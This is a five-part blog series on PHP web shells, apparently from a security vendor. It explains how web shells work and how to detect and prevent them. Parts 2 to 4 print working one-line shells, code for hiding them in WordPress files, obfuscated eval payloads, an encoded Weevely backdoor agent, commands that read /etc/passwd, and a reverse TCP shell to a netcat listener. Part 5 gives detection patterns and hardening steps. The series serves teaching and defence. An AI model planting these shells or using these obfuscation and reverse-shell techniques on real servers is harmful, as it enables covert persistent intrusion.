Web Shell

Download as docx, pdf, or txt
Download as docx, pdf, or txt
You are on page 1of 19

An Introduction to Web-shells – Part 1

POSTED ON JUNE 16, 2016 BY AGATHOKLIS PRODROMOU

A web-shell is a malicious script used by an attacker with the intent to escalate and maintain
persistent access on an already compromised web application. A web-shell itself cannot attack or
exploit a remote vulnerability, so it is always the second step of an attack (this stage is also referred
to as post-exploitation).
An attacker can take advantage of common vulnerabilities such as SQL injection, remote file
inclusion (RFI), FTP, or even use cross-site scripting (XSS) as part of a social engineering attack in
order to upload the malicious script. The common functionality includes but is not limited to shell
command execution, code execution, database enumeration and file management.

Why Use Web-shells?


Persistent Remote Access
A web-shell usually contains a backdoor which allows an attacker to remotely access and possibly,
control a server at any time. This would save the attacker the inconvenience of having to exploit a
vulnerability each time access to the compromised server is required.
An attacker might also choose to fix the vulnerability themselves, in order to ensure that no one else
will exploit that vulnerability. This way the attacker can keep a low-profile and avoid any interaction
with an administrator, while still obtaining the same result.
It is also worth mentioning that several popular web shells use password authentication and other
techniques to ensure that only the attacker uploading the web-shell has access to it. Such techniques
include locking down the script to a specific custom HTTP header, specific cookie values, specific IP
addresses, or a combination of these techniques. Most web shells also contain code to identify and
block search engines from listing the shell and, as a consequence, blacklisting the domain or server
the web application is hosted on – in other words, stealth is key.

Privilege Escalation
Unless a server is misconfigured, the web shell will be running under the web server’s user
permissions, which are (or, at least, should be) limited. Using a web-shell, an attacker can attempt to
perform privilege escalation attacks by exploiting local vulnerabilities on the system in order to
assume root privileges, which, in Linux and other UNIX-based operating systems is the ‘super-user’.
With access to the root account, the attacker can essentially do anything on the system including
installing software, changing permissions, adding and removing users, stealing passwords, reading
emails and more.

Pivoting and Launching Attacks


A web-shell can be used for pivoting inside or outside a network. The attacker might want to monitor
(sniff) the network traffic on the system, scan the internal network to discover live hosts, and
enumerate firewalls and routers within the network.
This process can take days, even months, predominantly because an attacker typically seeks to
keep a low profile, and draw the least amount of attention possible. Once an attacker has persistent
access, they can patiently make their moves.
The compromised system can also be used to attack or scan targets that reside outside the network.
This adds an additional layer of “anonymity” to the attacker since they are using a 3rd party system to
launch an attack. A step further would be to pivot (tunnel) through multiple systems to make it almost
impossible to trace an attack back to its source.

Zombie
Another use of web-shells is to make servers part of a botnet. A botnet is a network of compromised
systems that an attacker would control, either to use themselves, or to lease to other criminals. The
web-shell or backdoor is connected to a command and control (C&C) server from which it can take
commands on what instructions to execute.
This setup is commonly used in distributed-denial-of-service (DDoS) attacks, which require
expansive amounts of bandwidth. In this case, the attacker does not have any interest in harming, or
stealing anything off-of the system upon which the web shell was deployed. Instead, they will simply
use its resources for whenever is needed.

Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention

Share this post

https://www.acunetix.com/blog/articles/introduction-web-shells-part-1/

Web-shells 101 using PHP – Introduction to


Web Shells – Part 2
POSTED ON JUNE 21, 2016 BY AGATHOKLIS PRODROMOU

In part 1 of this series, we looked at what a web-shell is, and why an attacker would seek to use one.
In part 2 of this series, we’ll be looking at some specific examples of web-shells in the PHP
programming language.
Web shells exist for almost every web programming language you can think of. We chose to focus on
PHP because it is the most widely-used programming language on the web.
PHP web shells do nothing more than use in-built PHP functions to execute commands. The
following are some of the most common functions used to execute shell commands in PHP.
Note — For the purposes of this article, we edited our hosts file and pointed the
domain www.example.comto a test server.

system()
The system() function accepts the command as a parameter and it outputs the result.
The following example on a Microsoft Windows machine will run the dir command to return a
directory listing of the directory in which the PHP file is executing in.

<?php
// Return the directory listing in which the file run (Windows)
system("dir");
?>

--> Volume in drive C has no label.


Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

04/27/2016 10:21 PM <DIR> .


04/27/2016 10:21 PM <DIR> ..
04/27/2016 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free

Similarly, executing the ls command on a Linux machine achieves a similar result.

<?php
// Return the directory listing in which the file run (Linux)
system("ls -la");
?>

--> total 12
drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Apr 27 20:41 shell.php

Other commands have the same effect.


<?php
// Return the user the script is running under
system(“whoami“);
?>

--> www-data

exec()
The exec() function accepts a command as a parameter but does not output the result. If second
optional parameter is specified, the result will be returned as an array. Otherwise, only the last line of
the result will be shown if echoed.

<?php
// Executes, but returns nothing
exec("ls -la");
?>

-->

Using echo with the exec() function, will only print the last line of the command’s output.

<?php
// Executes, returns only last line of the output
echo exec("ls -la");
?>

--> -rw-rw-r-- 1 secuser secuser 29 Apr 27 20:49 shell.php

If a second parameter is specified, the result is returned in an array.

<?php
// Executes, returns the output in an array
exec("ls -la",$array);
print_r($array);
?>

--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Apr 27 20:54 shell.php )
shell_exec()
The shell_exec() function is similar to exec(), however, instead, it outputs the entire result as a
string.

<?php
// Executes, returns the entire output as a string
echo shell_exec(“ls -la“);
?>
--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:24 . drwxr-
xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser
secuser 36 Apr 28 18:24 shell.php

passthru()
The passthru() function executes a command and returns output in raw format.

<?php
// Executes, returns output in raw format
passsthru(“ls -la“);
?>

--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:23 . drwxr-


xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser
secuser 29 Apr 28 18:23 shell.php

proc_open()
The proc_open() function can be difficult to understand (you can find a detailed description of the
function in the PHP docs). Put simply, by using proc_open() we can create a handler (process)
which will be used for the communication between our script and the program we want to run.

preg_replace() with the /e modifier


The preg_replace() function can perform a regular expression search and replace. The /e modifier
(which is deprecated), executes the replacement with eval(). This means we can then pass PHP
code to be executed by the eval() function.

<?php
preg_replace('/.*/e', 'system("whoami");', '');
?>

--> www-data
Backticks
Surprisingly, not many PHP developers are aware of this, however, PHP will execute the contents of
backticks ( ` ) as a shell command.
Note — The backtick character ( ` ), should not to be confused with the single quote character ( ‘ )

<?php
$output = `whoami`;
echo "<pre>$output</pre>";
?>

--> www-data

Based on the above, the following is a PHP web-shell in its simplest form.

<?php system($_GET['cmd']);?>

It uses the system() function to execute commands that are being passed through ‘cmd’ HTTP
request GET parameter.

We have established that these functions (and a few others) can be very dangerous. What is even
more dangerous, is that all these in-built PHP commands are enabled by default when PHP is
installed, and the majority of system administrators do not disable them.
If you are unsure whether they are enabled on your system, the following command (PHP CLI needs
to be installed) will return a list of the dangerous functions which are enabled.

php -r 'print_r(get_defined_functions());' | grep -E ' (system|exec|


shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|
parse_ini_file|show_source)'<?php print_r(get_defined_functions()); ?>

On a default installation, we can see that all of the functions mentioned above, are enabled.

[669] => exec


[670] => system
[673] => passthru
[674] => shell_exec
[675] => proc_open
[786] => show_source
[807] => parse_ini_file
[843] => popen

Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention

Share this post

https://www.acunetix.com/blog/articles/web-shells-101-using-php-introduction-web-shells-
part-2/

Keeping web shells under cover – An


Introduction to Web Shells – Part 3
POSTED ON JUNE 30, 2016 BY AGATHOKLIS PRODROMOU

In part 2 of this series, we looked at specific examples of web-shells in the PHP programming
language. In part 3 of this series, we’ll be looking at some techniques attackers use to keep web-
shells hidden.

Commands can be sent to the web-shell using various methods, with HTTP POST request being the
most common. However, hackers are not exactly people who play by the rules. The following are a
few of the possible tricks attackers can use to keep web shells under-the-radar.
Modifying headers
Instead of passing the command via $_POST request parameter, they use the user agent string.

<?php system($_SERVER['HTTP_USER_AGENT'])?>

The attacker would then craft specific HTTP requests by placing the command inside of the ‘User-
Agent’ HTTP header.

GET /demo/shell.php HTTP/1.1


Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/
*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: cat /etc/passwd
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6,el;q=0.4

The effects of this behavior can be seen in the server log, where, the HTTP ‘User-Agent’ of the
second request was replaced by the cat /etc/passwd command.

192.168.5.26 - - [28/Apr/2016:20:38:28 +0100] "GET /demo/shell.php


HTTP/1.1" 200 196 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112
Safari/537.36"
192.168.5.26 - - [28/Apr/2016:20:38:50 +0100] "GET /demo/shell.php
HTTP/1.1" 200 1151 "-" "cat /etc/passwd"

The above method is noisy and can very easily tip off an administrator looking at server logs. The
following one though, is not.

<?php system($_SERVER['HTTP_ACCEPT_LANGUAGE']); ?>


GET /demo/shell.php HTTP/1.1
Host: 192.168.5.25
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/
*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36Accept-Encoding:
gzip, deflate, sdch
Accept-Language: cat /etc/passwd

The method above leaves no visible tracks (at least in the access log) in regards to which command
was executed.

192.168.5.26 - - [28/Apr/2016:20:48:05 +0100] "GET /demo/shell.php


HTTP/1.1" 200 1151 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112
Safari/537.36"

Hidden in plain sight


Most popular PHP shells like c99, r57, b374 and others, use filenames that are well known and will
easily raise suspicion. They are blacklisted and can be easily identified. One of the simplest ways
that attackers use to hide web shells is to upload them into deep subdirectories and/or by using
random names.

http://www.example.com/includes/blocks/user/text_editor/bbja1jsf.php

A more effective way, is to embed the web shell code into already existing, legitimate, files.

http://www.example.com/index.php
http://www.example.com/about.php

Or in case of a CMS (for example WordPress)

// http://www.example.com/wp-content/wp-blog-header.php

if ( !isset($wp_did_header) ) {
$wp_did_header = true;

// Load the WordPress Core System


system($_SERVER['HTTP_ACCEPT_LANGUAGE']);

// Load the WordPress library.


require_once( dirname(__FILE__) . '/wp-load.php' );

// Set up the WordPress query.


wp();
// Load the theme template.
require_once( ABSPATH . WPINC . '/template-loader.php' );
}

Note – An attacker can use the @ operator before a function to suppress any errors that may be
thrown, and subsequently written to the error log.

Obfuscation
Attackers use various obfuscation techniques in order to avoid being detected by the administrators
or by other attackers. They keep coming up with new and more sophisticated ways to hide their code
and bypass security systems. Below we will see some of the most common techniques used.

Whitespace
By removing the whitespace from a block of code, it looks like a big string making it less readable
and harder to identify what the script does.

<?php
// Whitespace makes things easy to read
function myshellexec($cmd){
global $disablefunc; $result = "";
if (!empty($cmd)){
if (is_callable("exec") && !in_array("exec",$disablefunc)) {
exec($cmd,$result); $result = join("",$result);
}
}
}
// Whitespace removed makes things harder to read
function myshellexec($cmd) {global $disablefunc;$result = "";
if(!empty($cmd)) { if (is_callable("exec") and
!in_array("exec",$disablefunc)){exec($cmd,$result); $result=join(" ",
$result);}}}
?>

Scrambling
Scrambling is a technique that can be used effectively in combination with others to help a web shell
go undetected. It scrambles the code making it unreadable and makes use of various functions that
will reconstruct the code when run.

<?php
// Scrambled
$k='c3lzdGVtKCdscyAtbGEnKTs=';
$c=strrev('(edoced_46esab.""nruter')."'".$k."');";
$f=eval($c);eval($f);

// Unscrambled
// base_64 encoded string -> system('ls -la');
$k='c3lzdGVtKCdscyAtbGEnKTs=';
// strrev() reverses a given string:
strrev('(edoced_46esab.""nruter')."'".$k."')
$c= eval("return base64_decode('c3lzdGVtKCdscyAtbGEnKTs=');");
// $c = system('ls -la');
$f=eval($c);
eval($f);

Encoding, Compression, and Replacement techniques


Web shells typically make use of additional techniques to hide what they are doing. Below are some
common functions PHP-based web shells leverage to go undetected.

 eval() – A function that evaluates a given string as PHP code.


 assert() – A function that evaluates a given string as PHP code.
 base64() – Encodes data with MIME base64 encoding
 gzdeflate() – Compresses a string using DEFLATE data format. gzinflate() decompresses
it
 str_rot13() – Shifts every letter of a given string 13 places in the alphabet

The following examples all produce the same result, however, an attacker might choose to use more
obfuscated techniques in order for the web shell to keep a low profile.

<?php
// Evaluates the string "system('ls -la');" as PHP code
eval("system('ls -la');");

// Decodes the Base64 encoded string and evaluates the decoded


string "system('ls -la');" as PHP code
eval(base64_decode("c3lzdGVtKCdscyAtbGEnKTsNCg=="));

// Decodes the compressed, Base64 encoded string and evaluates the


decoded string "system('ls -la');" as PHP code
eval(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
// Decodes the compressed, ROT13 encoded, Base64 encoded string and
evaluates the decoded string "system('ls -la');" as PHP code
eval(gzinflate(str_rot13(base64_decode('K64sLlbN1UPKKUnQzVZH0rQGAA==')
)));

// Decodes the compressed, Base64 encoded string and evaluates the


decoded string "system('ls -la');" as PHP code
assert(gzinflate(base64_decode('K64sLknN1VDKKVbQzUlU0rQGAA==')));
?>

Using Hex as an obfuscation technique


Hexadecimal values of ASCII characters can also be used to further obfuscate web shell commands.
Let’s take the following string as an example.

system('cat /etc/passwd');

The following is the above string’s value in hexadecimal.

73797374656d2827636174202f6574632f70617373776427293b

Therefore, the following code can be used to accept a hexadecimal-encoded string and evaluate it as
PHP code.

<?php <br ?--> // function that accepts a hex encoded data


function dcd($hex){
// split $hex
for ($i=0; $i < strlen($hex)-1; $i+=2){
//run hexdec on every two characters to get their decimal
representation which will be then used by char() to find the
corresponding ASCII character
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
// evaluate/execute the command
eval($string);
}
dcd('73797374656d2827636174202f6574632f70617373776427293b');
?>
To which the output would look similar to the below example.

The above examples can all be decoded using various tools, even if they are encoded multiple times.
In some cases, attackers may choose to use encryption, as opposed to encoding, in order to make it
harder to determine what the web shell is doing.
The following example is simple, yet practical. While the code is not encoded or encrypted, it is still
less detectable than previous because it doesn’t use any suspicious function names
(like eval() or assert()), lengthy encoded strings, complicated code; and most importantly, it will
not set-off any red flags when administrators view logs (to a certain extend).

<?php
// Send a POST request with variable '1' = 'system' and variable '2'
= 'cat /etc/passwd'
$_=$_POST['1'];
$__=$_POST['2'];

//The following will now be equivalent to running -> system('cat


/etc/passwd');
$_($__);
?>

Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention
Share this post

https://www.acunetix.com/blog/articles/keeping-web-shells-undercover-an-introduction-to-
web-shells-part-3/

Web Shells in Action – Introduction to Web-


Shells – Part 4
POSTED ON JULY 6, 2016 BY AGATHOKLIS PRODROMOU

In part 3 of this series, we looked at ways in which a hacker can keep web-shells under the radar. In
part 4 of this series, we’ll be looking at web shells in action by using Weevely as an example.

Weevely is a lightweight PHP telnet-like web-shell with several options which we shall be using for
this example.
For demonstration purposes, we will use Weevely to create a backdoor agent which will be deployed
on the target server. We just need to specify a password and a filename. The password will be used
to access the backdoor later on.

root@secureserver2:~/weevely3-master# ./weevely.py generate abcd123


agent.php

--> Generated backdoor with password 'abcd123' in 'agent.php' of 1332


byte size.

agent.php contains the following encoded file.

<?php
$d='@$r["HTTP_A%CCEPT_L%ANGUAG%E"];%if%($rr&&$%ra){$%u=parse_
%url($rr);p%arse_s%tr($u';
$k='$kh="79cf%";$k%f="%eb94";%%function x(%$t,$k){$c=st%rle%n($%k%);
$l=strlen($t);$o';
$Y='64_de%code%(preg_replac%e(arra%y("/%_/","/-%/"),ar%ray("/%","+%"),
$ss($%';
$O='$i],%$f);%%if($e){$k=$kh.$kf;%ob_%start();@%e%val(%@gzunco%mpr
%ess(@x(@b%ase';
$b='%%+(?%:;q%=0.([\\d]))?,%?/",$ra,$m);if(%$q&&$m)%{@sess%ion_st
%art();$%s=&$_S%ESSI%O';
$j='s[$i%],0,$e%)%)%),$k)));$o=ob_get_c%onten%t%s();ob%_end_clean()%%;
$d=bas%e%6';
$f='N;$ss="%substr%"%%%;$sl="strtolower";$%i=$m[1]%[0].$m%[1]%[1];$h=$
%sl%($s';
$u='s(%md5($i.$kh%),0,3));$f%=$sl($s%s(md%5($i.$k%f),0,3%));$%p="";f
%or%($z=1;$z<';
$c=str_replace('vs','','cvsrevsate_vsvsfuncvsvstion');
$H='%p%=$ss($p,3);%}if(ar%ray_%k%e%y_exists($i,$%s)){$s[$i].%=%$p%;
$e=st%rpos($s[';
$U='4_enco%de(x(%gzcomp%ress($o),$%k));pr%int("<$k>$%d<%/$k>");@ses
%sion_%d%estroy();}}}}';
$M='=%"%";for($i%=0;$i%<$l;%){for($j%=0;($j%<$c&&$i<$%l%);$j%+%+,$i+%
+){$o.=$t{$i%';
$F='co%unt($%m[1]%);$z+%+)$p.%=$q[$m%[2][$z]];%%if(strpos(%%$p,$h)==
%=0){$s[$i]="";$';
$q='%%["q%uery"]%,$q);$q=array_%values%($%q);%preg_match_al%l("/(%[\\w
%])[\\w-]';
$X='}^$k{$j};}}%return %$o;%}$%r=$_SERV%ER;$r%r=@$r[%"HTTP_REFE%RER"];
$ra%%=';
$S=str_replace('%','',$k.$M.$X.$d.$q.$b.$f.$u.$F.$H.$O.$Y.$j.$U);
$P=$c('',$S);$P();
?>

agent.php is renamed to ma.php and then uploaded to the compromised server. Then instead of
accessing the file through the browser, we connect to it using shell.

root@secureserver2:~/weevely3-master# ./weevely.py
http://192.168.5.25/ma.php abcd123
--> [+] weevely 3.2.0
[+] Target: www-data@secureserver:/var/www/html
[+] Session: /root/.weevely/sessions/192.168.5.25/ma_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>

We now have backdoor access to the target server and we can execute commands.

weevely> uname -a

--> Linux secureserver 4.2.0-16-generic #19-Ubuntu SMP Thu Oct 8


15:35:06 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

www-data@secureserver:/var/www/html $

By checking the server’s access log, we can notice something odd.


192.168.5.26 - - [29/Apr/2016:12:26:25 +0100] "GET /ma.php HTTP/1.1"
200 395 "http://www.google.com.kw/url?
sa=t&rct=j&q=168&source=web&cd=841&ved=
7abT6UoqC&url=168.5.25&ei=2rFeZn7kwtSbAWGxjurE6s&usg=r2jjg09LyElMcPnia
ayqLqluBIVqUGJvYD&sig2=lhXTdE417RZUTOBuIp6DOC" "Mozilla/5.0 (X11; U;
Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10
(karmic)Firefox/3.6.10"

The requests being sent are encoded and also the referrer appears to be Google. If we were to
analyze the logs for malicious activity, this might have been confusing since Google is supposedly a
legitimate referrer. This is of course part of the web-shell’s behavior to avoid detection.
Another interesting feature of the web-shell we’ve used is the reverse TCP shell option. This means
that the compromised server would be making a connection back to us instead or us making a
request to the web-shell.
On our source computer we set up a Netcat listener on port 8181

root@secureserver2:~/# nc -l -v -p 8181

--> Listening on [0.0.0.0] (family 0, port 8181)

Using our already established backdoor shell connection we initiate a reverse TCP request.

www-data@secureserver:/var/www/html $ :backdoor_reversetcp
192.168.5.26 8181

A reverse shell connection has been established (192.168.5.25 → 192.168.5.26)

Connection from [192.168.5.25] port 8181 [tcp/*] accepted (family 2,


sport 55370)
$ whoami

--> www-data

Using the reverse TCP shell we can now control the server without any traces to the access or error
logs because the communication is occurring over TCP (layer 4) and not on HTTP (layer 7).

Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention

Share this post


https://www.acunetix.com/blog/articles/web-shells-action-introduction-web-shells-part-4/

Detection and Prevention – An Introduction


to Web-Shells – Final Part
POSTED ON JULY 12, 2016 BY AGATHOKLIS PRODROMOU

In part 4 of this series, we looked at web shells in action by using Weevely as an example. In the final
part of this series, we’ll be looking at web shell detection and how to prevent them.

Detection
If an administrator suspects that a web-shell is present on their system (or during a routine check),
the following are some things to examine.
Firstly, the server access and error logs must be filtered for common keywords that are being used
by web shells. This includes filenames and/or parameter names. The example below looks for the
string ‘file’ in URLs in Apache HTTP Server’s access log

root@secureserver:/var/www/html# cat /var/log/apache2/access.log | awk


-F\" ' { print $1,$2 } ' | grep "file"

--> 192.168.5.26 - - [30/Apr/2016:08:30:53 +0100] GET /demo/shell.php?


file=/etc/passwd

The filesystem (usually the web server root) must be searched for common strings in files or
filenames.

root@secureserver:/var/www/html/demo# grep -RPn "(passthru|exec|eval|


shell_exec|assert|str_rot13|system|phpinfo|base64_decode|chmod|mkdir|
fopen|fclose|readfile) *\("

--> Shell.php:8: eval($string);


eval.php:1:?php system($_SERVER['HTTP_USER_AGENT']); ?>
Ad.php:9: eval($string);

Search for very long strings which may indicate encoding. Some backdoors have thousands of lines
of code.
root@secureserver:/var/www/html/demo# awk 'length($0)>100' *.php

-->
eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YAQI2E3jvPV8/1Gw6
orsVFLyXefMcFUL5EXf/yqceii7e8n9JvOYE9t8sT8cs//
cfWUXldLpKsQ2LCH7EcnuYdrqeqDHEDz+4uJYWH3YLflGUnDJ40DjU/
AL1miwEJPpBWlsAxTrgB46jRW/00XpggW00yDI/H1kD7UqxI/
3qjQZ4vz7HLsfNVW1BeQKiVH2VTrXtoiaKYdkT4o/p1E8W/
n5eVhagV7GanBn0U7OCfD7zPbCQyO0N/QGtstthqJBia5QJsR6xCgkHpBo1kQMlLt6u+
+SBvtw5KSMwtG4R2yctd0mBNrlB3QQo4aQKGRgRjTa0xYFw1vVM9ySOMd44sSrPe…

Search for modified files in the last X day/s. In the following example we searched for *.php files
changed within the last day but it is recommended to search for any file change as a web-shell can
also be embedded into an image or any other file.

root@secureserver:/var/www/html/# find -name '*.php' -mtime -1 -ls

--> root@secureserver:/var/www/html/# find -name '*.php' -mtime -1 -ls


2885788 4 drwxrwxr-x 2 secuser secuser 4096 Apr 30 06:590
/demo/shell.php
2886629 4 -rw-rw-r-- 1 secuser secuser 260 Apr 29 11:25 /demo/b.php
2897510 4 -rw-r--r-- 1 root root 35 Apr 29 13:46 /demo/source.php
2883635 4 -rw-r--r-- 1 www-data www-data 1332 Apr 29 12:09 ./ma.php

Monitor network for unusual network traffic and connections.

root@secureserver:/var/www/html/demo# netstat -nputw

--> Proto Recv-Q Send-Q Local Address Foreign Address State


PID/Program name
tcp 0 0 192.168.5.25:37040 192.168.5.26:8181 ESTABLISHED 2150/nc
tcp 0 0 192.168.5.25:22 192.168.5.1:52455 ESTABLISHED 2001/sshd:
secuser
tcp6 1 0 ::1:46672 ::1:631 CLOSE_WAIT 918/cups-browsed
tcp6 0 0 192.168.5.25:80 192.168.5.26:39470 ESTABLISHED 1766/apache2
tcp6 1 0 ::1:46674 ::1:631 CLOSE_WAIT 918/cups-browsed

Analyze .htaccess files for modifications. The following are examples of changes an attacker might
make to .htaccess files.

# The AddType directive maps the given filename extensions onto the
specified content type
AddType application/x-httpd-php .htaccess
AddType application/x-httpd-php .jpg

Prevention
The following is a non-exhaustive list of preventive measures to take in relation to web-shells.
1. If not used, disable potentially dangerous PHP functions such
as exec(), shell_exec(), passthru(), system(), show_source(), proc_open(), pcntl_e
xec(), eval() and assert()
2. If it’s an absolute necessity to have those commands enabled, make sure that unauthorized
users do not have access to these scripts. Additionally,
use escapeshellarg() and escapeshellcmd() to ensure that user input can not be
injected into shell commands, resulting in command execution vulnerabilities.
3. If your web application is using upload forms make sure they are secure and that they only
allow whitelisted file types to be uploaded.
4. Never trust user input
5. Do not blindly use code that you may find on online forums or websites.
6. In the case of WordPress, try to avoid installing third-party plugins if you do not need them. If
you need to make use of a plugin, ensure it is reputable and frequently updated.
7. Disable PHP execution in sensitive directories like images or uploads
8. Lock-down web server’s user permissions

Final Remarks
As we have seen, coding and using a web-shell is not difficult. Unfortunately, many web servers are
setup in such a way where even a simple script is enough to cause significant damage. This is the
main reason as to why there are thousands of publicly available web-shells. The fact that so many
variations exist, make it difficult for intrusion detection and intrusion prevention systems (IDS/IPS) to
detect them; especially if they are using signatures to detect such web shells. Some web-shells are
very sophisticated and they are almost impossible to be detected, even with behavioral analysis.
Having said this, early on in this article series, we had established that web-shells are post-
exploitation tools. This means that the best way to prevent exploitation, is to prevent them from being
uploaded in the first place.
Since Acunetix Vulnerability Scanner tests websites and web applications for thousands of
vulnerabilities, including code execution and arbitrary file upload vulnerabilities, it can find entry
points that could allow attackers to upload web-shells before an attacker would.
Additionally, when making using Acunetix’ AcuSensor Technology, since a sensor is deployed inside
the web application, the scanner can retrieve a list of files on the server back-end, meaning that the
scanner can detect web shells and other malicious scripts even if they are buried deep within
directories.

Part 1
An introduction to web-shells
Part 2
Web-shells 101 using PHP
Part 3
Keeping web-shells under cover
Part 4
Web-shells in action
Part 5
Detection & Prevention

Share this post

https://www.acunetix.com/blog/articles/detection-prevention-introduction-web-shells-part-5/

You might also like